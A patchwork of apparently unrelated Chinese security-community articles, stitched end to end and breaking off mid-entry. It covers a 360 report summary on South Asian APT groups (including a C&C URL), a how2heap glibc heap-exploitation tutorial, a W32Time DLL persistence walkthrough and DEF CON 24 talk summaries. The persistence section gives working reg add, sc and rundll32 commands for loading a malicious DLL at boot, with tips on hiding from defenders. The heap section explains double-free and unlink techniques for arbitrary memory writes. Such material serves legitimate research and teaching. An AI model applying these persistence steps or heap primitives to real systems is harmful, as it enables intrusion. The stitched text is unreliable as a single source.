最为典型的便是印度和巴基斯坦。1947年，印巴分治后，两国关系一直处于复杂且敌对的状态。2019年，印巴双方爆发的一系列军事冲突将双方的关系推至冰点。
在军事行动前，网络战这一前锋早已先行，国家级APT是它们的第一强军。
然而，侦察与反侦察总是相伴相生。伴随近年来，南亚APT组织逐步被披露，蔓灵花（BITTER）、摩诃草（HangOver）、响尾蛇（SideWinder）、DoNot（肚脑虫）、Urpage也“荣登”各国安全机构的“黑名册”。
2019年，360安全大脑发现源自南亚地区的APT组织又一次处在高频活跃状态。在进一步分析中发现：这些APT组织在攻击原因、攻击目标、攻击策略以及攻击战术上呈现“环环相扣”四大特征。此外，报告还聚焦于五大“热门”APT组织，披露了它们以往从未公开的具体攻击细节。
## 南亚APT组织来势汹汹 四大特征“环环相扣”？
### (一) “起”于地缘政治 大国交锋博弈推动南亚APT攻击走向
作为网络攻击的“黄金御用”手段，APT红热高发区也正是全球地缘政治冲突的敏感带。
多年观察，源于南亚地区的APT攻击活动的重点为中国和巴基斯坦。然而，此次报告显示，2019年，针对巴基斯坦的攻击活动呈明显上升趋势。而今年，印巴炮火连天的政局引发了多方关注。
2018年2月，印度军队炮击克什米尔实控线附近的巴基斯坦哨所，导致巴方人员伤亡。
2018年5月，印巴暂时停止交火，同意落实于2003年达成的停火协议。
2019年2月，印巴对彼此领土内的目标发动空袭。
2019年3月，印巴双方在边境地区互相开火炮击，局势升级。
2019年8月，印方撤销克什米尔的特殊地位，印巴在边境争议地区再次交火。
## (二) “落”于重磅谍报 军工军贸、政府机关为其重点攻击对象
当APT的攻击，源于大国地缘政治上不可调和的矛盾时，其攻击的具体目标就早已注定。报告显示，南亚APT组织的攻击具有明显的网络谍报倾向，而且以收集军工军贸、政府机关、外交机构、基础设施企业等敏感领域的相关信息为首要任务。
这里仍以巴基斯坦为例，其遭受攻击的具体单位如下：
政府机构：国家反恐局、警察系统、巴基斯坦新闻广播对外宣传部、国家数据库和管理局（NADRA）、巴基斯坦原子能委员会（PAEC）、巴基斯坦科学和工业研究理事会（PCSIR）、巴基斯坦证券交易委员会（SECP）
基础设施企业：巴基斯坦国家炼油有限公司、巴基斯坦特别通信组（SCO）、巴基斯坦移动公司（Mobilink）、巴基斯坦电信公司（PTCL）
此外，五大APT组织针对目标国家及目标行业，整理如下：
## (三) “始”于滴水不漏的策划 流程化、链条化的攻击步骤层层深入
对攻击活动进一步分析发现：单从技术方面上讲，这些源自南亚的APT组织好像并没有什么稀奇：没有复杂的技术，没有高质量的恶意代码编码，同时，在恶意代码武器库和攻击手法上也没有多大的改善。但研究员发现这些APT组织流程化、链条化、技术化的攻击步骤，也令人叹为观止。
“初始入侵、代码执行、持久化、命令和控制、任务活动”，这五大“热门”APT组织在攻击时，均沿着这一链条模式进行，从小心谨慎地层层深入到步步为营地渗透攻击，每个APT组织都宛如一条潜伏已久、伺机而动的毒蛇，随时发出致命一击。
每个APT组织在每阶段攻击行为中，所使用的具体攻击手法总览表如下：
然而，在攻击链条中还有一个显著的现象：攻击者并未对相关组织机构进行直接的网络攻击，而是采取了“针对某领域或组织机构下，相关个人进行定向攻击”的手段。这也是智库经常提的“迂回”、“曲线型”攻击方式。
## (四） “落”于摄人心魄的行动 极擅用社会工程学伪装诱敌
“伪装”是军事上一门重要课程，南亚APT组织可谓学到了其精髓。研究显示：它们在入侵时，虽然技术有限，但严重依赖社会工程学（善于“伪装钓鱼”）。而且，漏洞文档的内容题材丰富多样，尤其偏爱涉及时政新闻、军事相关文件、军工企业单位等。
如：涉及克什米尔局势的诱饵文档，内容大意为指责印度增兵克什米尔，这直接加剧了当地局势紧张的程度。
再如，以2019年在中国武汉举办世界军人运动会报名表为题材的诱饵文档。
以国防部国际军事合作办公室的名义，发往各国驻华使馆武官处的诱饵文档。其他部分文档内容：
## 南亚APT组织“群魔共舞” 五大组织个个“凶恶毒辣”
凭借四大“环环相扣”的特征，南亚地区的APT组织持续侵扰周边邻国。然而，就在众多共性之中，有五大APT组织凭借其更为“凶恶毒辣”的特色脱颖而出，智库将它们总结为“2019南亚APT组织‘邪恶五霸’”。
以下我们将对其一一介绍，并逐步披露出市面上未曾公布的一些攻击细节。
### （一） 摩诃草：野火烧不尽的“恶性杂草”
摩诃草，一个至今已活跃9年有余的APT组织，持续的曝光并没有停止它攻击的步伐，反而令其愈发的猖狂，可谓“野火烧不尽”。
报告显示：目前摩诃草受害者均集中于巴基斯坦境内，其中包括：巴基斯坦空军相关人员，内政部下属的国家数据库和管理局（NADRA）工作人员，核能相关的工作人员（PAEC
巴基斯坦原子能委员会）, 科研人员（PCSIR
巴基斯坦科学和工业研究理事会），各类通信公司和组织工作人员（SCO巴基斯坦特别通信组、Mobilink巴基斯坦移动公司、PTCL巴基斯坦电信公司）等。
其使用的攻击流程，如下图所示：
对其具体攻击步骤，拆解而言，分为以下四点：
1\.
使用题材涉及当前政治局势的CVE-2017-11882的鱼叉文档，诱敌深入。这里仍以上述公开情报的样本为例，该文档标题的内容大意为：“印度使克什米尔变成世界上最危险的地方”，这是一个模糊的图片，图片提示点击启用宏的话，会出现清晰的内容。
2\. 当用户点击之后，便迅速触发漏洞，Shellcode将释放执行Dropper程序。此时，Dropper程序将释放出3个文件，其路径分别为：
与此同时，Dropper程序会将MsBuild.exe重命名为MsBuild2.exe。
随后启动java-rmi.exe，其中java-rmi.exe 为正常的JAVA组件，带有签名：Oracle America, Inc.。
值得注意的是，此处java-rmi.exe会默认调用JLI.DLL，这种白利用DLL劫持技术与之前摩诃草使用的白利用技术相类似（Fake
JLI），只是更新了白利用程序。
3\. JLI.DLL为驻留安装程序，所有的导出函数最终都会跳转到为木马添加开启启动项的函数中，并在注册表项
HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加项名为WindowsDefender
Update的启动项，路径指向木马文件MsBuild2.exe。
4\.
被添加到注册表启动项的后门程序会随开机自动启动，该程序与去年360安全大脑报道的后门逻辑完全一致，依旧使用了Github和Feed43进行C&C地址的更新分发。
### （二） 蔓灵花：一个堪比罂粟的APT组织
蔓灵花，虽名为花但身附巨毒，目标群体一旦被其诱惑，便会步入”剧毒罗网”之中。
报告显示：2019年，蔓灵花再次将其毒手伸向中国、巴基斯坦以及印巴交界的克什米尔区域，精准渗透党政干部、军工从业人员、赴巴基斯坦留学人员、企业客服人员等具有鲜明军政背景人群。
该组织攻击流程，如下图所示：
具体而言，在载荷投递过程中，蔓灵花主要采取以下方式：
1\. 伪装图标的自解文件，诱导目标用户点击并执行自解压命令。
2\. 伪装成CVE-2018-0798 Word漏洞文档，释放下载器并执行。漏洞文档内容示意如下：
此外，除Windows平台的恶意程序，蔓灵花还使用了Android
平台的恶意程序。它主要通过图标伪装成正常的APP来诱导用户下载安装。目前发现有：伪装成聊天工具、图片查看器，还有伪装成杀软的恶意程序。值得关注的是，部分Android平台的受害者身份与Windows平台的受害者身份重合。
### （三） 肚脑虫：窃取心脏大脑的“寄生虫”
肚脑虫，它是一只潜伏在政府机构中的“寄生虫”，专门吸取并窃走“宿主”的核心敏感信息，同时，它也是一个能PC端、移动端双管齐下的APT组织。
360安全大脑2019年监测到：“肚脑虫”APT组织的目标对象主要分布在巴基斯坦和斯里兰卡。就在11月份时，阿富汗驻中国的大使馆也被攻击，其中包括：巴基斯坦新闻广播对外宣传部，斯里兰卡军方相关人员。
其攻击流程图，如下：
南亚APT组织的具体操作行为有些类似，详情请看文末的报告原文，这里不再多赘述。
需提一句的是，本次攻击使用的恶意代码工具与之前曝光的yty框架基本一致，两者类比如下表：
### （四） 响尾蛇：“蜕皮”进化最快的APT组织
响尾蛇，其攻击手法是这些组织中进化非常快的一个。潜伏已长达17年之久，擅长使用office漏洞、HTA脚本、白加黑、VB木马等技术发动攻击，其“毒液”通杀office2003到2016的所有版本，且只需一个制作好的word文档，只要用户点开，响尾蛇APT组织便可将其一招致命。
响尾蛇重点攻击对象，包括：各国驻华使馆（如约旦大使馆，阿联酋大使馆等），我国某大型央企集团，孟加拉军方人员，巴基斯坦政府机构，巴基斯坦证券交易委员会等。
2019年，响尾蛇组织攻击流程图，如下：
### （五） Urpage：与多个APT相关联的“四不像”
Urpage，这是一个特别的南亚APT组织，它的身上有着其他组织的影子。
研究显示，Urpage与Bahamut使用的部分恶意Android样本重叠、使用与Confucius相同的Delphi文件窃取程序、还和Patchwork是使用了同样的Delphi文件窃取程序，且其C＆C服务器与Patchwork小组的常用名称注册模式相匹配。
可以说，Urpage和以上南亚APT组织既相似，又不同，如同“四不像”一样。
2019年，360安全大脑发现一起针对巴基斯坦反恐局(Counter Terrorism Department –
CTD)的攻击行动，其攻击时间从6月初延续到9月底，此次攻击正是UrpageAPT组织所为。
在该行动中，“Urpage”依旧使用了钓鱼Office文档的攻击方式，使用的漏洞为CVE-2017-11882。与此同时，它使用了两种语言编写的Downloader程序，第一类为Delphi编写的Downloader程序，后一类为VB编写。
Delphi编写的Downloader程序会在%appdata%\Templets\路径下创建文件imhosts.ini，并随机写入长度为16的字符串。
该字符串之后会被发往服务器，并作为RC4 Key来解密服务器返回的数据。
随即，木马向解密出来的C&C:
cyroonline.com/Convenience/indertysduy.php发送请求，并解密返回的数据。在测试过程中，木马返回的数据解密后为：juscheck.doc。木马将接收到的数据与字符%appdata%\Templets拼接，得到路径%appdata%\Templetsjuscheck.doc。
之后，木马再次发送请求，解密返回数据并将数据写入到%appdata%\Templetsjuscheck.doc，然后将后缀名从doc改为exe，通过ShellExecute执行下载的文件。
在分析的过程中Delphi Downloader下载执行了VB Downloader。VB downloader与Delphi
Downloader相比多了对受害者系统信息的收集功能，攻击者可以根据收集到的信息来判断是否需要下发后续恶意程序。
2019年，全球APT威胁与攻防日趋白热化，全球安全报告频繁披露各APT组织攻击行动就是有力实证。然而，知晓APT组织只是其一，而重点在于其二：通过这些研究报道，我们能看出什么？在以后的网络攻防能中，又有哪些有利的价值信息能为我们所用。
透过这份详尽的《报告》以及归纳的四大特征、五大APT组织，智库预判：
1\. 既然APT组织伴随地缘政治而起，那么未来，这些攻击行动还会继续在相关地域和群体中持续保持活跃状态；
2\.
虽然报告中APT组织当下使用的攻击技术较为简单，但我们也发现攻击者在部分攻击环节提高技术能力的一些努力，如寻找新的白利用手段、使用JavaScript脚本在内存加载.Net、尝试对原有恶意代码武器库进行改进。所以，在未来，面对这些攻击者我们仍不能掉以轻心；
3\.
诸多案例已经表明，APT组织善用社会工程学这等方式骗取目标对象的信任，同时，它们还采取“迂回”、“曲线”的攻击方式，通过对“薄弱”环节下手，所以，针对互联网安全防范措施和意识较差的用户群体或地区，即使是简单的攻击行动仍是有效的；这就警戒我们，安全并不是孤立开来的绝对的安全，在万物互联的时代下，应以大全观、全面、动态、相对的视野来看网络安全。
正所谓，不谋万世者，不足谋一时；不谋全局者，不足谋一域。守护好网络空间这片星辰大海，应是国家、企业、个人共同联动的责任。
其他资料补充：
关于印巴2019年军事冲突：
2月26日，印度空军的12架幻影2000战斗机飞越克什米尔印巴停火线，对巴基斯坦进行空袭。印度宣称空袭为报复两星期前的普尔瓦马袭击。
27日，双方在克什米尔地区展开空战，巴基斯坦方面表示，巴基斯坦空军在军事行动中击落了两架印军战机，两机分别坠毁在克什米尔巴控区和印控区，并俘虏了一名印度飞行员。印方其后确认，印军1架米格-21战斗机被巴方击落，1名飞行员被巴军俘虏，另有1架战机在克什米尔印控区坠毁。
3月4日上午，印巴双方在边境地区互相开火炮击，局势再次升级。
关于360高级威胁应对团队(360 ATA Team)：
专注于APT攻击、0day漏洞等高级威胁攻击的应急响应团队，团队主要技术领域包括高级威胁沙盒、0day漏洞探针技术和基于大数据的高级威胁攻击追踪溯源。在全球范围内率先发现捕获了包括双杀、噩梦公式、毒针等在内的数十个在野0day漏洞攻击，独家披露了多个针对中国的APT组织的高级行动，团队多人上榜微软TOP100白帽黑客榜，树立了360在威胁情报、0day漏洞发现、防御和处置领域的核心竞争力。
《南亚地区APT组织2019年度攻击活动总结》
报告链接：[http://zt.360.cn/1101061855.php?dtid=1101062514&did=610401913](http://zt.360.cn/1101061855.php?dtid=1101062514&did=610401913)。
本文为国际安全智库作品 （微信公众号：guoji-anquanzhiku）
如需转载，请标注文章来源于：国际安全智库 | 社区文章 |
# 【技术分享】how2heap总结-上
##### 译文声明
本文是翻译文章，文章来源：reversing.win
原文地址：<http://www.reversing.win/2017/08/29/how2heap%E6%80%BB%E7%BB%93-%E4%B8%8A/>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
“how2heap”是shellphish团队在Github上开源的堆漏洞系列教程.
我这段时间一直在学习堆漏洞利用方面的知识,看了这些利用技巧以后感觉受益匪浅.
这篇文章是我学习这个系列教程后的总结,在此和大家分享.我会尽量翻译原版教程的内容,方便英语不太好的同学学习.
不过在学习这些技巧之前,建议大家去看一看华庭写的“ **Glibc内存管理-Ptmalloc2源码分析** ”
<http://paper.seebug.org/papers/Archive/refs/heap/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf>
在此也给出原版教程链接:
<https://github.com/shellphish/how2heap>
**0x01 测试环境**
****
Ubuntu 16.04.3 LTS x64
GLIBC 2.23
**0x02 目录**
firtst_fit
fastbin_dup
fsatbin_dup_into_stack
unsafe_unlink
**0x03 first_fit**
**源码:**
**输出:**
**翻译:**
这个程序并不展示如何攻击,而是展示glibc的一种分配规则.
glibc使用一种 **first-fit** 算法去选择一个free-chunk.
如果存在一个free-chunk并且足够大的话, **malloc** 会优先选取这个chunk.
这种机制就可以在被利用于 **use after free** (简称 **uaf** )的情形中.
先分配两个buffer,可以分配大一点,是不是fastbin也无所谓.
1st malloc(512): 0x662420
2nd malloc(256): 0x662630
我们也可以继续分配…
为了方便展示如何利用这个机制,我们在这里放置一个字符串 “this is A!”
我们使第一个分配的内存空间的地址 0x662420 指向这个字符串”this is A!”.
然后free掉这块内存…
我们也不需要free其他内存块了.之后只要我们用malloc申请的内存大小小于第一块的512字节,都会给我们返回第一个内存块开始的地址 0x662420.
ok,我们现在开始用malloc申请500个字节试试.
3rd malloc(500): 0x662420
然后我们在这个地方放置一个字符串 “this is C!”
第三个返回的内存块的地址 0x662420 指向了这个字符串 “this is C!”.
第一个返回的内存块的地址也指向这个字符串!
关于first-fit没太多可讲的,这里也解释得很清楚是咋回事.不过这里提到了uaf,网上关于uaf的文章也很多,我就不多说了.在这里推荐一篇吧.
<http://bobao.360.cn/learning/detail/3379.html>
**0x04 fastbin_dup**
**源码:**
**输出:**
**翻译:**
这个程序展示了一个利用fastbin进行的double-free攻击. 攻击比较简单.
先分配三块内存.
1st malloc(8): 0x1f89420
2nd malloc(8): 0x1f89440
3rd malloc(8): 0x1f89460
free掉第一块内存…
如果我们再free 0x1f89420 的话,程序就会崩溃,然后报错.因为这个时候这块内存刚好在对应free-list的顶部,再次free这块内存的时候就会被检查到.
所以我们另外free一个,我们free第二块内存 0x1f89440.
现在我们再次free第一块内存,因为它已经不在链表顶部了.
现在我们的free-list有这三块内存[ 0x1f89420, 0x1f89440, 0x1f89420 ].
如果我们malloc三次的话,我们就会得到0x1f89420两次!
1st malloc(8): 0x1f89420
2nd malloc(8): 0x1f89440
3rd malloc(8): 0x1f89420
这里展示了一个简单的double-free,关于double-free更具体的利用在下面介绍.
**0x05 fastbin_dup_into_stack**
**源码:**
**输出:**
**翻译:**
这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc来返回一个我们可控的区域的指针(在这个例子中,我们可以返回一个栈指针)
我们想要malloc返回的地址是这个 0x7ffef0f6a078.
首先分配三块内存:
1st malloc(8): 0x220f420
2nd malloc(8): 0x220f440
3rd malloc(8): 0x220f460
free掉第一块内存…
和上一个程序一样,我们再free第一块内存是不行的,所以我们free第二块.
free 0x220f440
现在我们可以free第一块了.
当前的free-list是这样的 [ 0x220f420, 0x220f440, 0x220f420 ]
我们将通过在第一块内存 0x220f420 上构造数据来进行攻击.
先把链表上前两个地址malloc出来.
1st malloc(8): 0x220f420
2nd malloc(8): 0x220f440
现在的free-list上面就只剩下了[ 0x220f420 ]
尽管现在0x220f420仍然在链表上,但我们还是可以访问它.
然后我们现在写一个假的chunk-size(在这里我们写入0x20)到栈上.(相当于在栈上伪造一块已经free的内存块)
之后malloc就会认为存在这么一个free-chunk,并在之后的内存申请中返回这个地址.
现在,我们再修改 0x220f420 的前8个字节为刚才写下chunk-size的那个栈单元的前一个栈单元的地址.
3rd malloc(8): 0x220f420,将栈地址放到free-list上.
4th malloc(8): 0x7ffef0f6a078 成功返回栈地址.
这个程序和上个程序差不多,区别在于,这个程序在double-free之后多伪造了一个chunk在链表上,进行了第四次malloc,将我们可以控制的一个地址malloc了出来.
当然,这个地址也可以是堆地址,只要可控(因为我们至少要伪造好size字段来逃过检查).
在伪造好的堆块被放到链表之前,free-list是这样的(图中的地址的值和上面程序直接输出的不一样,是因为我的系统开了ASLR.)
通过double-free后的第三次malloc将伪造的堆块地址放在了free-list,效果如下
也许有人会有疑问,为什么链表上还会多出来一个地址? 那是因为我们伪造的堆块的fd指针位置刚好是这个地址的值.可以查看一下内存:
当然这不是我们刻意设置的. 😛
不过这可能会给我们后面的malloc带来一定影响,所以,我们可以在malloc出我们的伪堆块之前确保fd字段为0.
**0x06 unsafe_unlink**
**源码:**
**输出:**
**翻译:**
前两句忽略 (- , -)
这个技术可以被用于当你在一个已知区域内(比如bss段)有一个指针,并且在这个区域内可以调用unlink的时候.
最常见的情况就是存在一个可以溢出的带有全局指针的缓冲区.
这个练习的关键在于利用free()来改写全局指针chunk0_ptr以达到任意地址写入的目的.
这个全局指针 chunk0_ptr 在0x602060,指向 0x1a35420.
而我们要去改造的victim chunk(= = **我实在不知道怎么翻译了**.) 是 0x1a354b0.
我们开始在chunk0内部伪造一个chunk.
先设置一个fd指针,使得p->fd->bk == p(‘p’在这里指的是chunk0)
再设置一个bk指针,使得p->bk->fd == p.
经过这些设置之后,就可以过掉“ **(P- >fd->bk != P || P->bk->fd != P) == False**”这个校验了.
Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
我们还需要确保,fake chunk的size字段和下一个堆块的presize字段(fd->presize)的值是一样的.
经过了这个设置,就可以过掉“ **(chunksize(P) != prev_size (next_chunk(P)) == False** ”的校验了.
因此,我们设置fake chunk的size字段为chunk0_[-3]:0x00000000(关于这里可能有人看不明白,我在后面细讲.)
…
我们假设我们在chunk0处有一个溢出,让我们去修改chunk1的头部的信息.
我们缩小chunk1的presize(表示的是chunk0的size),好让free认为chunk0是从我们伪造的堆块开始的.
这里比较关键的是已知的指针正确地指向fake chunk的开头,以及我们相应地缩小了chunk.
如果我们正常地free掉了chunk0的话,chunk1的presize应该是0x90,但是这里被我们修改为了0x80.
我们通过设置“ **previous_in_use** ”的值为False,将chunk0标记为了free(尽管它并没有被free)
现在我们free掉chunk1,好让consolidate backward去unlink我们的fake chunk,然后修改chunk_ptr.
…
现在,我们就可以利用chunk_ptr去修改他自己的值,来使它指向任意地址.
ok,现在chunk0_ptr指向了我们指定的地址,我们用它来修改victim string
Original value: Hello!~
New Value: BBBBAAAA
在这里,我们通过构造一个假的chunk来欺骗free去调用unlink,然后通过unlink来修改内存.以达到任意地址读写的目的.
关键点就在于信息的伪造,如下为刚开始申请的两块chunk的metadata的情况:
构造好了数据之后的metadata:
之后的free就可以调用unlink去修改内存了.
前面翻译部分我说过有个地方可能让人不太搞得明白怎么回事,也就是这里:
我们还需要确保,fake chunk的size字段和下一个堆块的presize字段(fd->presize)的值是一样的.
经过了这个设置,就可以过掉”(chunksize(P) != prev_size (nextchunk(P)) == False”的校验了.
因此,我们设置fake chunk的size字段为chunk0[-3]:0x00000000
不是说要确保chunk1的presize和fake chunk的size是一样的才能通过检查吗?为什么这里明显不一样也能通过?(fake-chunk->size==0 ; chunk1->presize == 0x80)
而且和chunk_0[-3]有啥关系?(这个我是真不知道有啥关系. – -!)
我们先忽略chunk_0[-3].
其实我试验过,在不改动其他数据的情况下将fake chunk的size字段改为0x80或者0都可以通过检查,其他的就会报错.
这里就需要知道(chunksize(P) != prevsize (next_chunk(P)) == False这个检查是怎么进行的.
就这里的fake chunk来说,先获取fake
chunk的size值,然后通过这个size值加上fakechunk的地址再减去chunk头部大小去获取下一个chunk的presize值,然后对比size和presize是否相等.
但是这里fake chunk的size是0,也就是说在去找找一个chunk的presize的时候,实际上找到的是fake
chunk的presize,两个都是0,自然就是相等的.
而我们将fake
chunk的size设置为0x80也能过检查的原因是,这时候获取下一个chunk的presize是正常获取的,而下一个chunk就是chunk1,chunk1的presize已经被设置为了0x80,两个值也是刚好相等.
你们可以自己去验证一下.
成功修改后的chunk0_ptr如下所示:
修改为了chunk0_ptr所在位置往后数第三个单元的值.(一个指针大小为一个单元) | 社区文章 |
## 0x01 什么是Time Providers
Windows时间服务（W32Time服务）维护在网络上的所有客户端和服务器的时间和日期同步。 W32Time time
providers负责从硬件/网络资源中检索时间戳，并将这些值输出到其他网络客户端。
Time
providers以DLL的形式实现，该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。
W32Time服务会在Windows启动期间自动启动，因此可以用在后渗透的持久化阶段。但是，此方法需要管理员级别的特权，因为指向Time Providers
DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
NtpServer：时间服务提供程序服务端
NtpClient：时间服务提供程序客户端
VMICTimeProvider：时间同步提供程序库
## 0x02 持久化构建
生成一个恶意的DLL文件：w32time.dll
NtpClient注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll
NtpServer注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll
VMICTimeProvider注册表项DllName数据的默认值为%SystemRoot%\System32\vmictimeprovider.dll
该服务将在Windows启动期间启动，我们也可以通过执行以下命令手动启动。
sc.exe stop w32time
sc.exe start w32time
利用reg命令修改DllName数据的值，来达到开机运行我们恶意DLL的目的。
reg：reg命令是Windows提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值，reg add将新的子项或项添加到注册表中。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
重新启动服务，恶意DLL成功运行。
修改NtpClient注册表项：
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
恶意DLL成功运行。
修改VMICTimeProvider注册表项：
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\VMICTimeProvider" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
恶意DLL成功运行。
修改NtpClient、NtpServer、VMICTimeProvider中任意一个注册表项，均可触发恶意DLL运行达到持久化目的。
## 0x03 安全与隐蔽
直接修改现有的Windows时间提供程序很容易被安全运营人员发现。
重启可能会卡在System Event Nottification Service
来自Boston MA的Scott
Lundgren在C中的开发了gametime。可以使用此DLL来向操作系统注册新的时间提供服务，并在重新生成注册表项中执行修改。这样可以避免破坏现有的Windows时间服务。
<https://github.com/scottlundgren/w32time>
修改源码可以自定义注册表项
#define GAMETIME_SVC_KEY_NAME L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"
根据微软文档，Time providers必须实现以下回调函数：
* TimeProvClose：返回Time provider句柄
* TimeProvCommand：将命令发送到Time provider
* TimeProvOpen：关闭Time providers
利用vs编译gametime，生成gametime.dll。
利用rundll32.exe运行
gametime.dll的Register函数，rundll32.exe用于在内存中运行DLL文件，它的作用是执行DLL文件中的内部函数，这样在进程当中，只会有
Rundll32.exe，而不会有DLL后门的进程，这样，就实现了进程上的隐藏。
rundll32.exe gametime.dll,Register
生成注册表项GameTime
修改注册表项GameTime：
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
成功执行恶意DLL。
运行下列命令清理相关程序。
rundll32.exe gametime.dll,Deregister
## 0x04 防御
1. 限制文件和目录权限
考虑使用组策略来配置和阻止对W32Time DLL的添加/修改。
2. 限制注册表权限
考虑使用组策略在注册表中配置和阻止对W32Time参数的修改。
## 0x05 自动检测
监视修改注册表中的W32Time数值相关的进程，包括应用程序编程接口（API）调用（例如RegCreateKeyEx和RegSetValueEx）以及W32tm.exe程序的执行。
利用Sysinternals Autoruns工具分析。 | 社区文章 |
# defcon24会议上第一天有趣的议题
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.defcon.org/html/defcon-24/dc-24-speakers.html>
译文仅供参考，具体内容表达以及含义原文为准。
**defcon24所有打包的ppt,安全客镜像下载:
**
**<http://yunpan.cn/c6nRkvRaLDP5b>****(提取码:e81b)**
**defcon24议题的介绍原文出处:**
**<https://www.defcon.org/html/defcon-24/dc-24-speakers.html>**
**议题:** ****
Exploiting and Attacking Seismological Networks… Remotely
远程利用和攻击地震网络
**演讲者:**
Bertin Bervis Bonilla :NETDB.IO公司的建立者
James Jara :NETDB.IO公司的建立者
**演讲内容:**
首先演讲者讲解了在互联网上搜索IOT设备,然后对不同的设备做指纹识别。演讲者通过全网找到了本不应对公网开放的陆地/海洋的地震探测设备。
并且通过这些设备开放的web端口,找到了设备的固件,本来这些固件是只有购买了该设备的客户才能从官网下载的,但是由于客户的安全意识薄弱和配置不当,导致固件被研究人员下载分析。该地震探测设备提供了基于数据的实时图像传输,研究人员通过分析发现这是一个敏感的设备,随后又对固件进行了深入的逆向分析。这种地震传感器可渗透的部分有3个攻击点,拨号调制解调器(用于接入wifi/卫星/GSM/COM),电池(可以维持1年的电量),web服务器(该web服务器采用Apollo服务器,可以远程直接连接)。随后研究人员通过对固件的二进制分析,发现了官方文档中没有提到的一个账号,还发现了一个脚本含有shellshock漏洞,并且该web服务器的SSL证书里含有很明显的原数据信息。随后演讲者demo演示了实际的攻击场景。
**议题:**
Malware Command and Control Channels: A journey into darkness
黑暗历险:恶意软件的CC通道
**演讲者:**
Brad Woodberg : Proofpoint公司的产品经理
**演讲内容:**
现在的新闻媒体大部分都围绕漏洞的检测和漏洞利用进行报道,很少有关注企业被入侵后,攻击者的CC识别和阻断问题。当然也有人有不同的观点,认为漏洞检测技术才是重点,但是我们往往看到有许多企业被入侵,都是简单的鱼叉式钓鱼或者社会工程学攻击。CC通道,是攻击者在已经获取你网络权限后,后利用阶段,攻击者用于指挥和控制的平台。
攻击者不断提升,发展自己的技术,试图隐藏自己的踪迹,维护已有的权限,并在数据提取方面展现了非同凡响的创造力。演讲者会探讨传统的防御对现在的CC控制的不足,以及今后防护要如何去做,当然最重要的还是如何在攻击者已经进入你的网络后,如何快速识别和破坏其的CC通道。
演讲者首先讲解了现在流行的CC采用的技术和演变过程
比如最早的采用静态IP,到使用DNS,然后到动态域名生成,最后是现在用的比较多的p2p和采用常见的云服务
然后分别对Gh0st/ PoisonIvy/ NanoLocker/ GameOver/Zeus/ Dridex/
AridViper木马的实例做了进一步讲解,最后演讲者推测以后的CC会越来越多的使用加密通信技术
以及实用隐写术隐藏自己
最后提供了预测CC和防护CC的解决思路。
**议题:**
Toxic Proxies – Bypassing HTTPS and VPNs to Pwn Your Online Identity
有毒代理 – 绕过 HTTPS和VPN获取你的在线隐私
**演讲者:**
Alex Chapman :Context信息安全公司的资深研究员
Paul Stone :Context信息安全公司的资深研究员
**演讲内容:**
恶意WIFI访问点给攻击者提供了无限能力,但是现在是2016年了,隐私保护像HTTPS随处可见,免费的TLS和HSTS也快成为产业标准了,但是可以说本地咖啡馆的免费网络就安全了?回答是NO,即使你有安全意识在公共网络拨了VPN,这个议题。演讲者会讲解由于一个10年多的老协议的设计问题导致的安全问题,这个协议的安全设计问题导致了能让攻击者轻松获取你的HTTPS隐私。我们应该知道传统攻击HTTPS的方法,除了利用302跳转,还有比较知名的sslstrip工具,强制https降级到http,然后窃取敏感数据,但是随着HSTS的普及,这种攻击已经无效了。
演讲者首先对SSL, PAC, WPAD, sslstrip,
HSTS的相关技术做了介绍,针对本地网络:可以攻击开放的wifi网络,攻击路由设备,演讲者演示通过构建一个WIFI网络的无线访问点,使用PAC攻击绕过HTTPS,窃取流量,偷账号。wpad是一个攻击因素,相应的成熟工具有Responder。配合http://findproxyforurl.com/pac-functions/
PAC文件中的dnsResolve和isResolvable函数,可以让攻击者通过javscript脚本看到每个HTTPS中的URL,或者通过DNS泄露数据给攻击者。URL信息里会包含查询字符串,路径,还可以通过<img标签注入URL,随后演讲者演示了针对GOOGLE
DOC的攻击,通过泄露的到的docid,然后注入标签,嵌入docid,窃取文件。因为SSO机制,GOOGLE会自动让你登录GOOGLE的其他域名,比如Gogole.co.uk,blogger.com,youtube.com等,那么通过302跳转,攻击者就能偷盗你的认证token了
至于VPN的问题,许多vpn客户端不清除通过WPAD得到的代理配置,所以也会有这个安全问题。
**议题:**
Auditing 6LoWPAN Networks using Standard Penetration Testing Tools
使用标准渗透工具审核6LoWPAN网络
**演讲者:**
Arnaud Lebrun :AIRBUS Defence and Space公司的研究员
Adam Reziouk :AIRBUS Defence and Space公司的研究员
**演讲内容:**
6LoWPAN顾名思义是符合IEEE 802.15.4标准的低功耗的无线网络,主要用于水厂的网络监视系统。
首先通过无线扫描技术识别IEEE
802.15.4基础设施,并了解他们的具体情况,包括在设计渗透测试中遇到的问题。其次,使用扫描器识别边界路由,因为他能够在以太网和6LoWPAN网络实现IPV6路由功能,并提供了基于python
Scapy库的开源工具
**议题:**
All Your Solar Panels are Belong to Me
你的太阳能面板属于我
**演讲者:**
Fred Bret-Mounet: 独立黑客
**演讲内容:**
